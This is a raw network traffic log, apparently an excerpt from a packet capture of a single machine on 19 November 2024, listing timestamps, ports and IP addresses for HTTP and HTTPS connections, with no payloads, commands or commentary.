Nov 19, 2024 20:05:51.253626108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253640890 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253653049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253706932 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253719091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253726959 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253726959 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253726959 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253734112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253746986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253762007 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253781080 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253783941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253797054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253840923 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253840923 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253880024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253890991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253904104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253917933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253931046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253947020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253947020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253992081 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253992081 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.254004002 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.254017115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.254028082 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.254040956 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.254051924 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.254065037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.254148006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.254148960 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.254148960 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.254148960 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.254148960 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.254160881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.254175901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.254188061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.254235029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.254235029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.310759068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.310775042 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.310828924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.310828924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.310848951 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.310861111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.310874939 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.310888052 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.310945034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.310959101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.310962915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.310964108 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.310972929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.310976982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.310990095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311002016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311013937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311027050 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311027050 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311027050 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311049938 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311106920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311125040 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311136961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311147928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311161041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311165094 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311187029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311209917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311223030 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311238050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311239958 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311239958 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311249971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311280966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311292887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311311007 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311311007 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311333895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311336040 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311348915 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311378956 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311394930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311418056 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311429977 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311439037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311450958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311480045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311480045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311485052 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311496973 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311501026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311513901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311525106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311543941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311543941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311558962 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311619997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311631918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311642885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311654091 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311670065 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311682940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311765909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311779976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311793089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311806917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311830997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311830997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311830997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311830997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311877966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311888933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311892986 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311903000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311914921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311927080 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.311985970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311985970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311985970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.311996937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.312010050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.312020063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.312031984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.312043905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.312045097 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.312108994 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.312123060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.312135935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.312146902 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.312146902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.312146902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.312146902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.312205076 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.312205076 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.338392019 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.338435888 CET	443	64160	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.338570118 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.340290070 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.340301991 CET	443	64160	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.386178017 CET	443	64154	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.387053967 CET	64154	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.387075901 CET	443	64154	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.387552023 CET	64154	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.387557983 CET	443	64154	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.387605906 CET	443	64155	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.389192104 CET	64155	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.389219999 CET	443	64155	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.389713049 CET	64155	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.389719009 CET	443	64155	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.400840998 CET	443	64153	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.404114962 CET	64153	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.404153109 CET	443	64153	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.404855013 CET	64153	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.404864073 CET	443	64153	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.475981951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.480906963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.487859011 CET	443	64154	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.487950087 CET	443	64154	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.487998009 CET	64154	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.488007069 CET	443	64154	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.488020897 CET	443	64154	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.488071918 CET	64154	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.488351107 CET	64154	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.488363981 CET	443	64154	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.493391991 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.493896961 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.493913889 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.494992018 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.495053053 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.497916937 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.497993946 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.498197079 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.498203993 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.498229027 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.498241901 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.499356985 CET	443	64150	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.500170946 CET	64161	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.500212908 CET	443	64161	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.500294924 CET	64161	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.500391006 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.500403881 CET	443	64150	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.500790119 CET	443	64150	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.500819921 CET	64161	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.500844002 CET	443	64161	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.501142025 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.501218081 CET	443	64150	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.501405954 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.501545906 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.501580954 CET	443	64150	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.502897978 CET	443	64153	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.503263950 CET	443	64153	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.503338099 CET	64153	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.503391981 CET	64153	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.503391981 CET	64153	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.503413916 CET	443	64153	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.503424883 CET	443	64153	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.506942987 CET	64162	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.506984949 CET	443	64162	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.507164001 CET	64162	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.507329941 CET	64162	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.507342100 CET	443	64162	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.546107054 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.546366930 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.546410084 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.546798944 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.547118902 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.547194004 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.547338009 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.547384024 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.547410965 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.547524929 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.547563076 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.549565077 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.586507082 CET	443	64156	20.3.187.198	192.168.2.7
Nov 19, 2024 20:05:51.586596012 CET	64156	443	192.168.2.7	20.3.187.198
Nov 19, 2024 20:05:51.588270903 CET	64156	443	192.168.2.7	20.3.187.198
Nov 19, 2024 20:05:51.588282108 CET	443	64156	20.3.187.198	192.168.2.7
Nov 19, 2024 20:05:51.588541031 CET	443	64156	20.3.187.198	192.168.2.7
Nov 19, 2024 20:05:51.588716984 CET	443	64157	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.589327097 CET	64157	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.589370966 CET	443	64157	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.589796066 CET	64157	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.589803934 CET	443	64157	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.594749928 CET	64156	443	192.168.2.7	20.3.187.198
Nov 19, 2024 20:05:51.624300003 CET	443	64158	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.624794960 CET	64158	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.624825954 CET	443	64158	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.625283003 CET	64158	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.625288963 CET	443	64158	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.639342070 CET	443	64156	20.3.187.198	192.168.2.7
Nov 19, 2024 20:05:51.652604103 CET	443	64155	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.653247118 CET	443	64155	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.653326035 CET	64155	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.653409958 CET	64155	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.653409958 CET	64155	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.653428078 CET	443	64155	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.653439045 CET	443	64155	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.656218052 CET	64163	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.656245947 CET	443	64163	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.656311035 CET	64163	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.656574011 CET	64163	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.656584978 CET	443	64163	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.690654039 CET	443	64157	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.690864086 CET	443	64157	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.690918922 CET	64157	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.690922976 CET	443	64157	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.690975904 CET	64157	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.691065073 CET	64157	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.691082954 CET	443	64157	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.691095114 CET	64157	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.691099882 CET	443	64157	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.693980932 CET	64164	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.694031000 CET	443	64164	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.694169044 CET	64164	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.694295883 CET	64164	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.694317102 CET	443	64164	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.694504023 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694521904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694534063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694590092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694605112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694654942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.694654942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.694654942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.694654942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.694710016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694720984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694732904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694744110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694768906 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.694770098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694785118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694785118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.694894075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.694894075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.694921017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694933891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694946051 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694957018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694968939 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.694968939 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.694987059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695014000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695031881 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695076942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695147991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695159912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695172071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695183039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695200920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695214033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695226908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695239067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695245028 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695245028 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695245028 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695245028 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695266962 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695400953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695413113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695471048 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695471048 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695503950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695517063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695528030 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695538998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695545912 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695549965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695563078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695574045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695585966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695597887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695631027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695631027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695631027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695631027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.695945978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695956945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695969105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695980072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.695991993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696002960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696014881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696018934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696018934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696018934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696024895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696037054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696047068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696079016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696090937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696100950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696109056 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696113110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696124077 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696182966 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696202993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696214914 CET	80	52448	185.215.113.206	192.168.2.7
